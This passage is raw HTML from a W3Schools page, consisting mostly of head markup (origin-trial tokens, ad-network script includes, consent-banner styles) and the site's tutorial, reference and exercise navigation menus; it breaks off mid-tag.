content="A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt/P/H4/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="AxBHdr0J44vFBQtZUqX9sjiqf5yWZ/OcHRcRMN3H9TH+t90V/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="AzoawhTRDevLR66Y6MROu167EDncFPBvcKOaQispTo9ouEt5LvcBjnRFqiAByRT+2cDHG1Yj4dXwpLeIhc98/gIAAACFeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="A6+nc62kbJgC46ypOwRsNW6RkDn2x7tgRh0wp7jb3DtFF7oEhu1hhm4rdZHZ6zXvnKZLlYcBlQUImC4d3kKihAcAAACLeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="A/9La288e7MDEU2ifusFnMg1C2Ij6uoa/Z/ylwJIXSsWfK37oESIPbxbt4IU86OGqDEPnNVruUiMjfKo65H/CQwAAACLeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><script src="https://securepubads.g.doubleclick.net/gpt/pubads_impl_2022042001.js?cb=31067210" async=""></script><argprec0></argprec0><argprec1></argprec1><style type="text/css">.snigel-cmp-framework .sn-inner {background-color:#fffefe!important;}.snigel-cmp-framework .sn-b-def {border-color:#04aa6d!important;color:#04aa6d!important;}.snigel-cmp-framework .sn-b-def.sn-blue {color:#ffffff!important;background-color:#04aa6d!important;border-color:#04aa6d!important;}.snigel-cmp-framework .sn-selector ul li {color:#04aa6d!important;}.snigel-cmp-framework .sn-selector ul li:after {background-color:#04aa6d!important;}.snigel-cmp-framework .sn-footer-tab .sn-privacy a {color:#04aa6d!important;}.snigel-cmp-framework .sn-arrow:after,.snigel-cmp-framework .sn-arrow:before {background-color:#04aa6d!important;}.snigel-cmp-framework .sn-switch input:checked + span::before {background-color:#04aa6d!important;}#adconsent-usp-link {border: 1px solid #04aa6d!important;color:#04aa6d!important;}#adconsent-usp-banner-optout input:checked + .adconsent-usp-slider {background-color:#04aa6d!important;}#adconsent-usp-banner-btn {color:#ffffff;border: solid 1px #04aa6d!important;background-color:#04aa6d!important; }</style><link rel="preload" href="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com"></script><link rel="preload" href="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com"></script><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><link rel="preload" href="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com"></script><link rel="preload" href="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com"></script></head> <body> <style> #darkmodemenu { position:absolute; top:-40px; right:16px; padding:5px 20px 10px 18px; border-bottom-left-radius:5px; border-bottom-right-radius:5px; z-index:-1; transition: top 0.2s; user-select: none; } #darkmodemenu input,#darkmodemenu label { cursor:pointer; } </style> <script> ( function setThemeMode() { var x = localStorage.getItem("preferredmode"); var y = localStorage.getItem("preferredpagemode"); if (x == "dark") { document.body.className += " darktheme"; ga('send', 'event', 'theme' , "darkcode"); } if (y == "dark") { document.body.className += " darkpagetheme"; ga('send', 'event', 'theme' , "darkpage"); } })(); </script> <div id="pagetop" class="w3-bar w3-card-2 notranslate"> <a href="https://www.w3schools.com" class="w3-bar-item w3-button w3-hover-none w3-left w3-padding-16" title="Home" style="width:77px"> <i class="fa fa-logo ws-text-green ws-hover-text-green" style="position:relative;font-size:42px!important;"></i> </a> <style> @media screen and (max-width: 1080px) { .ws-hide-1080 { ddddisplay: none !important; } } @media screen and (max-width: 1160px) { .topnavmain_video { display: none !important; } } </style> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open_nav('tutorials')" id="navbtn_tutorials" title="Tutorials" style="width:116px">Tutorials <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open_nav('references')" id="navbtn_references" title="References" style="width:132px">References <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24 ws-hide-800" href="javascript:void(0)" onclick="w3_open_nav('exercises')" id="navbtn_exercises" title="Exercises" style="width:118px">Exercises <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-medium bar-item-hover w3-hide-small w3-padding-24 barex topnavmain_video" href="https://www.w3schools.com/videos/index.php" title="Video Tutorials" onclick="ga('send', 'event', 'Videos' , 'fromTopnavMain')">Videos</a> <a class="w3-bar-item w3-button w3-hide-medium bar-item-hover w3-hide-small w3-padding-24 barex" href="/pro/index.php" title="Go Pro" onclick="ga('send', 'event', 'Pro' , 'fromTopnavMainASP')">Pro <span class="ribbon-topnav ws-hide-1080">NEW</span></a> <a class="w3-bar-item w3-button bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open()" id="navbtn_menu" title="Menu" style="width:93px">Menu <i class="fa fa-caret-down"></i><i class="fa fa-caret-up" style="display:none"></i></a> <div id="loginactioncontainer" class="w3-right w3-padding-16" style="margin-left:50px"> <div id="mypagediv" style="display: none;"></div> <!-- <button id="w3loginbtn" style="border:none;display:none;cursor:pointer" class="login w3-right w3-hover-greener" onclick='w3_open_nav("login")'>LOG IN</button>--> <a id="w3loginbtn" class="w3-bar-item w3-btn bar-item-hover w3-right" style="display: inline; width: 130px; background-color: rgb(4, 170, 109); color: white; border-radius: 25px;" href="https://profile.w3schools.com/log-in?redirect_url=https%3A%2F%2Fmy-learning.w3schools.com" target="_self">Log in</a> </div> <div class="w3-right w3-padding-16"> <!--<a class="w3-bar-item w3-button bar-icon-hover w3-right w3-hover-white w3-hide-large w3-hide-medium" href="javascript:void(0)" onclick="w3_open()" title="Menu"><i class='fa'></i></a> --> <a class="w3-bar-item w3-button bar-item-hover w3-right w3-hide-small barex" style="width: 140px; border-radius: 25px; margin-right: 15px;" href="https://courses.w3schools.com/" target="_blank" id="cert_navbtn" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses in Main top navigation');" title="Courses">Paid Courses</a> <a class="w3-bar-item w3-button bar-item-hover w3-right ws-hide-900 w3-hide-small barex ws-pink" style="border-radius: 25px; margin-right: 15px;" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTopnavMain', 'click');" title="Get Your Own Website With W3Schools Spaces">Website <span class="ribbon-topnav ws-hide-1066">NEW</span></a> </div> </div> <div style="display: none; position: fixed; z-index: 4; right: 52px; height: 44px; background-color: rgb(40, 42, 53); letter-spacing: normal; top: 0px;" id="googleSearch"> <div class="gcse-search"></div> </div> <div style="display: none; position: fixed; z-index: 3; right: 111px; height: 44px; background-color: rgb(40, 42, 53); text-align: right; padding-top: 9px; top: 0px;" id="google_translate_element"></div> <div class="w3-card-2 topnav notranslate" id="topnav" style="position: fixed; top: 0px;"> <div style="overflow:auto;"> <div class="w3-bar w3-left" style="width:100%;overflow:hidden;height:44px"> <a href="javascript:void(0);" class="topnav-icons fa fa-menu w3-hide-large w3-left w3-bar-item w3-button" onclick="open_menu()" title="Menu"></a> <a href="/default.asp" class="topnav-icons fa fa-home w3-left w3-bar-item w3-button" title="Home"></a> <a class="w3-bar-item w3-button" href="/html/default.asp" title="HTML Tutorial" style="padding-left:18px!important;padding-right:18px!important;">HTML</a> <a class="w3-bar-item w3-button" href="/css/default.asp" title="CSS Tutorial">CSS</a> <a class="w3-bar-item w3-button" href="/js/default.asp" title="JavaScript Tutorial">JAVASCRIPT</a> <a class="w3-bar-item w3-button" href="/sql/default.asp" title="SQL Tutorial">SQL</a> <a class="w3-bar-item w3-button" href="/python/default.asp" title="Python Tutorial">PYTHON</a> <a class="w3-bar-item w3-button" href="/php/default.asp" title="PHP Tutorial">PHP</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ver.asp" title="Bootstrap Tutorial">BOOTSTRAP</a> <a class="w3-bar-item w3-button" href="/howto/default.asp" title="How To">HOW TO</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp" title="W3.CSS Tutorial">W3.CSS</a> <a class="w3-bar-item w3-button" href="/java/default.asp" title="Java Tutorial">JAVA</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp" title="jQuery Tutorial">JQUERY</a> <a class="w3-bar-item w3-button" href="/c/index.php" title="C Tutorial">C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp" title="C++ Tutorial">C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php" title="C# Tutorial">C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp" title="R Tutorial">R</a> <a class="w3-bar-item w3-button" href="/react/default.asp" title="React Tutorial">React</a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gSearch(this)" title="Search W3Schools"></a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gTra(this)" title="Translate W3Schools"></a> <!-- <a href='javascript:void(0);' class='topnav-icons fa w3-right w3-bar-item w3-button' onclick='changecodetheme(this)' title='Toggle Dark Code Examples'></a>--> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onmouseover="mouseoverdarkicon()" onmouseout="mouseoutofdarkicon()" onclick="changepagetheme(2)"></a> <!-- <a class="w3-bar-item w3-button w3-right" id='topnavbtn_exercises' href='javascript:void(0);' onclick='w3_open_nav("exercises")' title='Exercises'>EXERCISES <i class='fa fa-caret-down'></i><i class='fa fa-caret-up' style='display:none'></i></a> --> </div> <div id="darkmodemenu" class="ws-black" onmouseover="mouseoverdarkicon()" onmouseout="mouseoutofdarkicon()" style="top: -40px;"> <input id="radio_darkpage" type="checkbox" name="radio_theme_mode" onclick="click_darkpage()"><label for="radio_darkpage"> Dark mode</label> <br> <input id="radio_darkcode" type="checkbox" name="radio_theme_mode" onclick="click_darkcode()"><label for="radio_darkcode"> Dark code</label> </div> <nav id="nav_tutorials" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('tutorials')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>Tutorials</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML and CSS</h3> <a class="w3-bar-item w3-button" href="/html/default.asp">Learn HTML</a> <a class="w3-bar-item w3-button" href="/css/default.asp">Learn CSS</a> <a class="w3-bar-item w3-button" href="/css/css_rwd_intro.asp" title="Responsive Web Design">Learn RWD</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ver.asp">Learn Bootstrap</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp">Learn W3.CSS</a> <a class="w3-bar-item w3-button" href="/colors/default.asp">Learn Colors</a> <a class="w3-bar-item w3-button" href="/icons/default.asp">Learn Icons</a> <a class="w3-bar-item w3-button" href="/graphics/default.asp">Learn Graphics</a> <a class="w3-bar-item w3-button" href="/graphics/svg_intro.asp">Learn SVG</a> <a class="w3-bar-item w3-button" href="/graphics/canvas_intro.asp">Learn Canvas</a> <a class="w3-bar-item w3-button" href="/howto/default.asp">Learn How To</a> <a class="w3-bar-item w3-button" href="/sass/default.php">Learn Sass</a> <div class="w3-hide-large w3-hide-small"> <h3 class="w3-margin-top">Data Analytics</h3> <a class="w3-bar-item w3-button" href="/ai/default.asp">Learn AI</a> <a class="w3-bar-item w3-button" href="/python/python_ml_getting_started.asp">Learn Machine Learning</a> <a class="w3-bar-item w3-button" href="/datascience/default.asp">Learn Data Science</a> <a class="w3-bar-item w3-button" href="/python/numpy/default.asp">Learn NumPy</a> <a class="w3-bar-item w3-button" href="/python/pandas/default.asp">Learn Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" href="/xml/xquery_intro.asp">Learn XQuery</a> </div> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/js/default.asp">Learn JavaScript</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp">Learn jQuery</a> <a class="w3-bar-item w3-button" href="/react/default.asp">Learn React</a> <a class="w3-bar-item w3-button" href="/angular/default.asp">Learn AngularJS</a> <a class="w3-bar-item w3-button" href="/js/js_json_intro.asp">Learn JSON</a> <a class="w3-bar-item w3-button" href="/js/js_ajax_intro.asp">Learn AJAX</a> <a class="w3-bar-item w3-button" href="/appml/default.asp">Learn AppML</a> <a class="w3-bar-item w3-button" href="/w3js/default.asp">Learn W3.JS</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/default.asp">Learn Python</a> <a class="w3-bar-item w3-button" href="/java/default.asp">Learn Java</a> <a class="w3-bar-item w3-button" href="/c/index.php">Learn C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp">Learn C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php">Learn C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp">Learn R</a> <a class="w3-bar-item w3-button" href="/kotlin/index.php">Learn Kotlin</a> <a class="w3-bar-item w3-button" href="/go/index.php">Learn Go</a> <a class="w3-bar-item w3-button" href="/django/index.php">Learn Django</a> <a class="w3-bar-item w3-button" href="/typescript/index.php">Learn TypeScript</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/default.asp">Learn SQL</a> <a class="w3-bar-item w3-button" href="/mysql/default.asp">Learn MySQL</a> <a class="w3-bar-item w3-button" href="/php/default.asp">Learn PHP</a> <a class="w3-bar-item w3-button" href="/asp/default.asp">Learn ASP</a> <a class="w3-bar-item w3-button" href="/nodejs/default.asp">Learn Node.js</a> <a class="w3-bar-item w3-button" href="/nodejs/nodejs_raspberrypi.asp">Learn Raspberry Pi</a> <a class="w3-bar-item w3-button" href="/git/default.asp">Learn Git</a> <a class="w3-bar-item w3-button" href="/aws/index.php">Learn AWS Cloud</a> <h3 class="w3-margin-top">Web Building</h3> <a class="w3-bar-item w3-button" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTutorialsAcc', 'click');" title="Get Your Own Website With W3schools Spaces">Create a Website <span class="ribbon-topnav ws-yellow">NEW</span></a> <a class="w3-bar-item w3-button" href="/where_to_start.asp">Where To Start</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_templates.asp">Web Templates</a> <a class="w3-bar-item w3-button" href="/browsers/default.asp">Web Statistics</a> <a class="w3-bar-item w3-button" href="/cert/default.asp">Web Certificates</a> <a class="w3-bar-item w3-button" href="/whatis/default.asp">Web Development</a> <a class="w3-bar-item w3-button" href="/tryit/default.asp">Code Editor</a> <a class="w3-bar-item w3-button" href="/typingspeed/default.asp">Test Your Typing Speed</a> <a class="w3-bar-item w3-button" href="/codegame/index.html" target="_blank">Play a Code Game</a> <a class="w3-bar-item w3-button" href="/cybersecurity/index.php">Cyber Security</a> <a class="w3-bar-item w3-button" href="/accessibility/index.php">Accessibility</a> </div> <div class="w3-col l3 m6 w3-hide-medium"> <h3 class="w3-margin-top">Data Analytics</h3> <a class="w3-bar-item w3-button" href="/ai/default.asp">Learn AI</a> <a class="w3-bar-item w3-button" href="/python/python_ml_getting_started.asp">Learn Machine Learning</a> <a class="w3-bar-item w3-button" href="/datascience/default.asp">Learn Data Science</a> <a class="w3-bar-item w3-button" href="/python/numpy/default.asp">Learn NumPy</a> <a class="w3-bar-item w3-button" href="/python/pandas/default.asp">Learn Pandas</a> <a class="w3-bar-item w3-button" href="/python/scipy/index.php">Learn SciPy</a> <a class="w3-bar-item w3-button" href="/python/matplotlib_intro.asp">Learn Matplotlib</a> <a class="w3-bar-item w3-button" href="/statistics/index.php">Learn Statistics</a> <a class="w3-bar-item w3-button" href="/excel/index.php">Learn Excel</a> <a class="w3-bar-item w3-button" href="/googlesheets/index.php">Learn Google Sheets</a> <h3 class="w3-margin-top">XML Tutorials</h3> <a class="w3-bar-item w3-button" href="/xml/default.asp">Learn XML</a> <a class="w3-bar-item w3-button" href="/xml/ajax_intro.asp">Learn XML AJAX</a> <a class="w3-bar-item w3-button" href="/xml/dom_intro.asp">Learn XML DOM</a> <a class="w3-bar-item w3-button" href="/xml/xml_dtd_intro.asp">Learn XML DTD</a> <a class="w3-bar-item w3-button" href="/xml/schema_intro.asp">Learn XML Schema</a> <a class="w3-bar-item w3-button" href="/xml/xsl_intro.asp">Learn XSLT</a> <a class="w3-bar-item w3-button" href="/xml/xpath_intro.asp">Learn XPath</a> <a class="w3-bar-item w3-button" href="/xml/xquery_intro.asp">Learn XQuery</a> </div> </div> </div> <br class="hidesm"> </nav> <nav id="nav_references" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('references')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>References</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML</h3> <a class="w3-bar-item w3-button" href="/tags/default.asp">HTML Tag Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_html_browsersupport.asp">HTML Browser Support</a> <a class="w3-bar-item w3-button" href="/tags/ref_eventattributes.asp">HTML Event Reference</a> <a class="w3-bar-item w3-button" href="/colors/default.asp">HTML Color Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_attributes.asp">HTML Attribute Reference</a> <a class="w3-bar-item w3-button" href="/tags/ref_canvas.asp">HTML Canvas Reference</a> <a class="w3-bar-item w3-button" href="/graphics/svg_reference.asp">HTML SVG Reference</a> <a class="w3-bar-item w3-button" href="/graphics/google_maps_reference.asp">Google Maps Reference</a> <h3 class="w3-margin-top">CSS</h3> <a class="w3-bar-item w3-button" href="/cssref/default.asp">CSS Reference</a> <a class="w3-bar-item w3-button" href="/cssref/css3_browsersupport.asp">CSS Browser Support</a> <a class="w3-bar-item w3-button" href="/cssref/css_selectors.asp">CSS Selector Reference</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ref_all_classes.asp">Bootstrap 3 Reference</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_ref_all_classes.asp">Bootstrap 4 Reference</a> <a class="w3-bar-item w3-button" href="/w3css/w3css_references.asp">W3.CSS Reference</a> <a class="w3-bar-item w3-button" href="/icons/icons_reference.asp">Icon Reference</a> <a class="w3-bar-item w3-button" href="/sass/sass_functions_string.php">Sass Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">JavaScript</h3> <a class="w3-bar-item w3-button" href="/jsref/default.asp">JavaScript Reference</a> <a class="w3-bar-item w3-button" href="/jsref/default.asp">HTML DOM Reference</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_ref_overview.asp">jQuery Reference</a> <a class="w3-bar-item w3-button" href="/angular/angular_ref_directives.asp">AngularJS Reference</a> <a class="w3-bar-item w3-button" href="/appml/appml_reference.asp">AppML Reference</a> <a class="w3-bar-item w3-button" href="/w3js/w3js_references.asp">W3.JS Reference</a> <h3 class="w3-margin-top">Programming</h3> <a class="w3-bar-item w3-button" href="/python/python_reference.asp">Python Reference</a> <a class="w3-bar-item w3-button" href="/java/java_ref_keywords.asp">Java Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Server Side</h3> <a class="w3-bar-item w3-button" href="/sql/sql_ref_keywords.asp">SQL Reference</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_ref_functions.asp">MySQL Reference</a> <a class="w3-bar-item w3-button" href="/php/php_ref_overview.asp">PHP Reference</a> <a class="w3-bar-item w3-button" href="/asp/asp_ref_response.asp">ASP Reference</a> <h3 class="w3-margin-top">XML</h3> <a class="w3-bar-item w3-button" href="/xml/dom_nodetype.asp">XML DOM Reference</a> <a class="w3-bar-item w3-button" href="/xml/dom_http.asp">XML Http Reference</a> <a class="w3-bar-item w3-button" href="/xml/xsl_elementref.asp">XSLT Reference</a> <a class="w3-bar-item w3-button" href="/xml/schema_elements_ref.asp">XML Schema Reference</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">Character Sets</h3> <a class="w3-bar-item w3-button" href="/charsets/default.asp">HTML Character Sets</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ascii.asp">HTML ASCII</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ansi.asp">HTML ANSI</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_ansi.asp">HTML Windows-1252</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_8859.asp">HTML ISO-8859-1</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_symbols.asp">HTML Symbols</a> <a class="w3-bar-item w3-button" href="/charsets/ref_html_utf8.asp">HTML UTF-8</a> </div> </div> <br class="hidesm"> </div> </nav> <nav id="nav_exercises" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('exercises')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>Exercises and Quizzes</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a class="ws-btn ws-yellow w3-hover-text-white" style="width:155px;font-size:21px" href="/exercises/index.php">Exercises</a></h3> <a class="w3-bar-item w3-button" href="/html/html_exercises.asp">HTML Exercises</a> <a class="w3-bar-item w3-button" href="/css/css_exercises.asp">CSS Exercises</a> <a class="w3-bar-item w3-button" href="/js/js_exercises.asp">JavaScript Exercises</a> <a class="w3-bar-item w3-button" href="/sql/sql_exercises.asp">SQL Exercises</a> <a class="w3-bar-item w3-button" href="/mysql/mysql_exercises.asp">MySQL Exercises</a> <a class="w3-bar-item w3-button" href="/php/php_exercises.asp">PHP Exercises</a> <a class="w3-bar-item w3-button" href="/python/python_exercises.asp">Python Exercises</a> <a class="w3-bar-item w3-button" href="/python/numpy/numpy_exercises.asp">NumPy Exercises</a> <a class="w3-bar-item w3-button" href="/python/pandas/pandas_exercises.asp">Pandas Exercises</a> <a class="w3-bar-item w3-button" href="/python/scipy/scipy_exercises.php">SciPy Exercises</a> <a class="w3-bar-item w3-button" href="/jquery/jquery_exercises.asp">jQuery Exercises</a> <a class="w3-bar-item w3-button" href="/java/java_exercises.asp">Java Exercises</a> <a class="w3-bar-item w3-button" href="/cpp/cpp_exercises.asp">C++ Exercises</a> <a class="w3-bar-item w3-button" href="/cs/cs_exercises.asp">C# Exercises</a> <a class="w3-bar-item w3-button" href="/r/r_exercises.asp">R Exercises</a> <a class="w3-bar-item w3-button" href="/kotlin/kotlin_exercises.php">Kotlin Exercises</a> <a class="w3-bar-item w3-button" href="/go/go_exercises.php">Go Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_exercises.asp">Bootstrap Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap4/bootstrap_exercises.asp">Bootstrap 4 Exercises</a> <a class="w3-bar-item w3-button" href="/bootstrap5/bootstrap_exercises.php">Bootstrap 5 Exercises</a> <a class="w3-bar-item w3-button" href="/git/git_exercises.asp">Git Exercises</a> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top"><a 